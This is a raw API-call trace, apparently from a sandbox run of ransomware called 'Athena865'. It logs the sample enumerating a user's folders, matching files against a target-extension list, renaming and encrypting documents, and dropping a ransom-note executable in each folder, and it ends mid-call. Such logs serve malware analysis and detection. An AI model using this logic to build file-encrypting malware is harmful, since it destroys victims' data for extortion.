[0050.753] lstrlenW (lpString="sqlitedb") returned 8 [0050.753] lstrcmpiW (lpString1="Fcj.docx", lpString2="sqlitedb") returned -1 [0050.753] lstrlenW (lpString="xml") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1 [0050.753] lstrlenW (lpString="$er") returned 3 [0050.753] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1 [0050.753] lstrlenW (lpString="4dd") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1 [0050.754] lstrlenW (lpString="4dl") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1 [0050.754] lstrlenW (lpString="^^^") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1 [0050.754] lstrlenW (lpString="abs") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1 [0050.754] lstrlenW (lpString="abx") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1 [0050.754] lstrlenW (lpString="accdb") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1 [0050.754] lstrlenW (lpString="accdc") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1 [0050.754] lstrlenW (lpString="accde") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1 [0050.754] lstrlenW (lpString="accdr") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1 [0050.754] lstrlenW (lpString="accdt") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1 [0050.754] lstrlenW (lpString="accdw") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1 [0050.754] lstrlenW (lpString="accft") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1 [0050.754] lstrlenW (lpString="adb") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0050.754] lstrlenW (lpString="adb") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0050.754] lstrlenW (lpString="ade") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1 [0050.754] lstrlenW (lpString="adf") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1 [0050.754] lstrlenW (lpString="adn") returned 3 [0050.754] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1 [0050.755] lstrlenW (lpString="adp") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1 [0050.755] lstrlenW (lpString="alf") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1 [0050.755] lstrlenW (lpString="ask") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1 [0050.755] lstrlenW (lpString="btr") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1 [0050.755] lstrlenW (lpString="cat") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1 [0050.755] lstrlenW (lpString="cdb") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1 [0050.755] lstrlenW (lpString="ckp") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1 [0050.755] lstrlenW (lpString="cma") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1 [0050.755] lstrlenW (lpString="cpd") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1 [0050.755] lstrlenW (lpString="dacpac") returned 6 [0050.755] lstrcmpiW (lpString1="j.docx", lpString2="dacpac") returned 1 [0050.755] lstrlenW (lpString="dad") returned 3 [0050.755] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1 [0050.755] lstrlenW (lpString="dadiagrams") returned 10 [0050.755] lstrcmpiW (lpString1="TcFcj.docx", lpString2="dadiagrams") returned 1 [0050.755] lstrlenW (lpString="daschema") returned 8 [0050.755] lstrcmpiW (lpString1="Fcj.docx", lpString2="daschema") returned 1 [0050.755] lstrlenW (lpString="db-journal") returned 10 [0050.755] lstrcmpiW (lpString1="TcFcj.docx", lpString2="db-journal") returned 1 [0050.755] lstrlenW (lpString="db-shm") returned 6 [0050.755] lstrcmpiW (lpString1="j.docx", lpString2="db-shm") returned 1 [0050.755] lstrlenW (lpString="db-wal") returned 6 [0050.755] lstrcmpiW (lpString1="j.docx", lpString2="db-wal") returned 1 [0050.755] lstrlenW (lpString="dbc") returned 3 [0050.756] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1 [0050.756] lstrlenW (lpString="dbs") returned 3 [0050.756] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1 [0050.756] lstrlenW (lpString="dbt") returned 3 [0050.756] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1 [0050.756] lstrlenW (lpString="dbv") returned 3 [0050.756] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1 [0050.756] lstrlenW (lpString="dbx") returned 3 [0050.756] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1 [0050.756] lstrlenW (lpString="dcb") returned 3 [0050.756] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1 [0050.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\iipccoSifvOHT1TcFcj.docx.Athena865") returned 91 [0050.756] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\iipccoSifvOHT1TcFcj.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\iipccosifvoht1tcfcj.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\iipccoSifvOHT1TcFcj.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\iipccosifvoht1tcfcj.docx.athena865"), dwFlags=0x1) returned 1 [0050.757] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\iipccoSifvOHT1TcFcj.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\iipccosifvoht1tcfcj.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.757] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55815) returned 1 [0050.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.757] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.758] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.758] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.758] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd10, lpName=0x0) returned 0x154 [0050.758] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdd10) returned 0x100000 [0050.760] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.761] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.761] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.762] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.762] CloseHandle (hObject=0x154) returned 1 [0050.762] CloseHandle (hObject=0x17c) returned 1 [0050.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.764] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0050.764] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.764] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.764] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0050.765] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0050.765] lstrlenW (lpString="My Music") returned 8 [0050.765] lstrcpyW (in: lpString1=0x241e8ba, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0050.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b678 [0050.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514a28 [0050.765] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0050.765] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0050.765] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.766] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1 [0050.766] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1 [0050.766] lstrlenW (lpString="My Pictures") returned 11 [0050.766] lstrcpyW (in: lpString1=0x241e8ba, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0050.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b690 [0050.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x5282a0 [0050.766] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0050.766] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0050.766] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.767] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2=".") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="..") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="windows") returned -1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="bootmgr") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="temp") returned -1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="pagefile.sys") returned -1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="boot") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="ids.txt") returned 1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="ntuser.dat") returned -1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="perflogs") returned -1 [0050.767] lstrcmpiW (lpString1="My Shapes", lpString2="MSBuild") returned 1 [0050.767] lstrlenW (lpString="My Shapes") returned 9 [0050.767] lstrcpyW (in: lpString1=0x241e8ba, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0050.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6a8 [0050.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x514998 [0050.767] lstrcatW (in: lpString1="My Shapes", lpString2="\\" | out: lpString1="My Shapes\\") returned="My Shapes\\" [0050.767] lstrcatW (in: lpString1="My Shapes\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Shapes\\HOW TO BACK YOUR FILES.exe") returned="My Shapes\\HOW TO BACK YOUR FILES.exe" [0050.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.778] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0050.778] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.778] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.778] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1 [0050.778] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1 [0050.778] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1 [0050.778] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1 [0050.779] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1 [0050.779] lstrlenW (lpString="My Videos") returned 9 [0050.779] lstrcpyW (in: lpString1=0x241e8ba, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0050.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6c0 [0050.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x514908 [0050.779] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0050.779] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0050.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.779] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0050.779] lstrcmpiW (lpString1="Outlook Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.779] lstrcmpiW (lpString1="Outlook Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2=".") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="..") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="windows") returned -1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="bootmgr") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="temp") returned -1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="pagefile.sys") returned -1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="boot") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="ids.txt") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="ntuser.dat") returned 1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="perflogs") returned -1 [0050.780] lstrcmpiW (lpString1="Outlook Files", lpString2="MSBuild") returned 1 [0050.780] lstrlenW (lpString="Outlook Files") returned 13 [0050.780] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0050.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6d8 [0050.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x528338 [0050.780] lstrcatW (in: lpString1="Outlook Files", lpString2="\\" | out: lpString1="Outlook Files\\") returned="Outlook Files\\" [0050.780] lstrcatW (in: lpString1="Outlook Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outlook Files\\HOW TO BACK YOUR FILES.exe") returned="Outlook Files\\HOW TO BACK YOUR FILES.exe" [0050.780] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.782] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac6fae0, ftCreationTime.dwHighDateTime=0x1d4cf4b, ftLastAccessTime.dwLowDateTime=0x43d61eb0, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0x43d61eb0, ftLastWriteTime.dwHighDateTime=0x1d4d2fa, nFileSizeHigh=0x0, nFileSizeLow=0x15db1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sheawXy7l.xls", cAlternateFileName="SHEAWX~1.XLS")) returned 1 [0050.782] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.782] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.782] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2=".") returned 1 [0050.782] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="..") returned 1 [0050.782] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="windows") returned -1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="bootmgr") returned 1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="temp") returned -1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="pagefile.sys") returned 1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="boot") returned 1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="ids.txt") returned 1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="ntuser.dat") returned 1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="perflogs") returned 1 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2="MSBuild") returned 1 [0050.783] lstrlenW (lpString="sheawXy7l.xls") returned 13 [0050.783] lstrcpyW (in: lpString1=0x241e8ba, lpString2="sheawXy7l.xls" | out: lpString1="sheawXy7l.xls") returned="sheawXy7l.xls" [0050.783] lstrlenW (lpString="sheawXy7l.xls") returned 13 [0050.783] lstrlenW (lpString="Athena865") returned 9 [0050.783] lstrcmpiW (lpString1="wXy7l.xls", lpString2="Athena865") returned 1 [0050.783] lstrlenW (lpString=".dll") returned 4 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2=".dll") returned 1 [0050.783] lstrlenW (lpString=".lnk") returned 4 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2=".lnk") returned 1 [0050.783] lstrlenW (lpString=".ini") returned 4 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2=".ini") returned 1 [0050.783] lstrlenW (lpString=".sys") returned 4 [0050.783] lstrcmpiW (lpString1="sheawXy7l.xls", lpString2=".sys") returned 1 [0050.783] lstrlenW (lpString="sheawXy7l.xls") returned 13 [0050.783] lstrlenW (lpString="bak") returned 3 [0050.783] lstrcmpiW (lpString1="xls", lpString2="bak") returned 1 [0050.783] lstrlenW (lpString="ba_") returned 3 [0050.783] lstrcmpiW (lpString1="xls", lpString2="ba_") returned 1 [0050.783] lstrlenW (lpString="dbb") returned 3 [0050.783] lstrcmpiW (lpString1="xls", lpString2="dbb") returned 1 [0050.783] lstrlenW (lpString="vmdk") returned 4 [0050.783] lstrcmpiW (lpString1=".xls", lpString2="vmdk") returned -1 [0050.783] lstrlenW (lpString="rar") returned 3 [0050.783] lstrcmpiW (lpString1="xls", lpString2="rar") returned 1 [0050.784] lstrlenW (lpString="zip") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="zip") returned -1 [0050.784] lstrlenW (lpString="tgz") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="tgz") returned 1 [0050.784] lstrlenW (lpString="vbox") returned 4 [0050.784] lstrcmpiW (lpString1=".xls", lpString2="vbox") returned -1 [0050.784] lstrlenW (lpString="vdi") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="vdi") returned 1 [0050.784] lstrlenW (lpString="vhd") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="vhd") returned 1 [0050.784] lstrlenW (lpString="vhdx") returned 4 [0050.784] lstrcmpiW (lpString1=".xls", lpString2="vhdx") returned -1 [0050.784] lstrlenW (lpString="avhd") returned 4 [0050.784] lstrcmpiW (lpString1=".xls", lpString2="avhd") returned -1 [0050.784] lstrlenW (lpString="db") returned 2 [0050.784] lstrcmpiW (lpString1="ls", lpString2="db") returned 1 [0050.784] lstrlenW (lpString="db2") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="db2") returned 1 [0050.784] lstrlenW (lpString="db3") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="db3") returned 1 [0050.784] lstrlenW (lpString="dbf") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="dbf") returned 1 [0050.784] lstrlenW (lpString="mdf") returned 3 [0050.784] lstrcmpiW (lpString1="xls", 